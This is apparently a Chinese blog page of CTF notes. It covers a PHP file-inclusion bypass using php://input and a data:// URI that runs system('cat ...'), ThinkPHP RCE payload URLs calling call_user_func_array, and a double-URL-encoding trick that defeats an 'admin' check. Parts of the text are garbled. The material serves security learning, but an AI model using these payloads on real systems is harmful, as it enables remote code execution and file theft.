当前位置:网站首页>ctf 记录
ctf 记录
2022-07-02 09:32:00 【freshfox】
源码审计
文件包含:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post 数据 php 代码。

2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce 漏洞在利用的时候注意payload
漏洞利用:
payload:
查看phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
查看敏感文件:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
第一步,要使得"admin"===$_GET[id]不成立
我们可以对admin进行url编码,当然也可以对其中一个字母编码我们这里对a进行编码:%61dmin
第一次实际比较if("admin"==="%61dmin") 不成立
1
第二步,经过G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);,使得$_GET[id] == "admin"成立。
经过urldecode解码后变成admin
第二次实际比较if("admin" == "admin"); 成立
1
**注意:**当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode
因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- Special topic of binary tree -- acwing 1589 Building binary search tree
- Huawei game failed to initialize init with error code 907135000
- Special topic of binary tree -- [deep base 16. Example 7] ordinary binary tree (simplified version) (multiset seeks the precursor and subsequent sentry Art)
- 高德根据轨迹画线
- 金山云——2023届暑期实习
- 华为应用市场应用统计数据问题大揭秘
- Primary key policy problem
- Is the account above changtou school safe?
- PCL extracts a subset from a point cloud
- Logu p3398 hamster looks for sugar (double LCA on the tree to judge whether the two paths in the tree intersect)
猜你喜欢

Mongodb learning and sorting (condition operator, $type operator, limit() method, skip() method and sort() method)

一.STM32的开发环境,keil5/MDK5.14安装教程(附下载链接)
![[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?](/img/66/674a06d8e45a31ae879b81554ef373.png)
[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?

Tick Data and Resampling

洛谷 P5536 【XR-3】核心城市(贪心 + 树形 dp 寻找树的中心)
![Binary tree topic -- Luogu p3884 [jloi2009] binary tree problem (DFS for binary tree depth BFS for binary tree width Dijkstra for shortest path)](/img/c2/bb85b681af0f78b380b1d179c7ea49.png)
Binary tree topic -- Luogu p3884 [jloi2009] binary tree problem (DFS for binary tree depth BFS for binary tree width Dijkstra for shortest path)

PHP tea sales and shopping online store

TIPC 寻址2

JSP webshell free -- the basis of JSP

Matlab processing of distance measurement of experimental electron microscope
随机推荐
二叉树专题--AcWing 1497. 树的遍历(利用后、中序遍历,构建二叉树)
Implement custom drawer component in quick application
III Chip startup and clock system
OpenMLDB Meetup No.4 会议纪要
【付费推广】常见问题合集,推荐榜单FAQ
三.芯片启动和时钟系统
One trick to quickly realize custom application titlebar
JVM garbage collector
spritejs
enumrate的start属性的坑
LVM操作
tqdm的多行显示与单行显示
TIPC介绍1
Tick Data and Resampling
Is the account above changtou school safe?
2022爱分析· 国央企数字化厂商全景报告
【深入浅出玩转FPGA学习3-----基本语法】
The difference between self and static in PHP in methods
Filtering of PCL
从攻击面视角,看信创零信任方案实践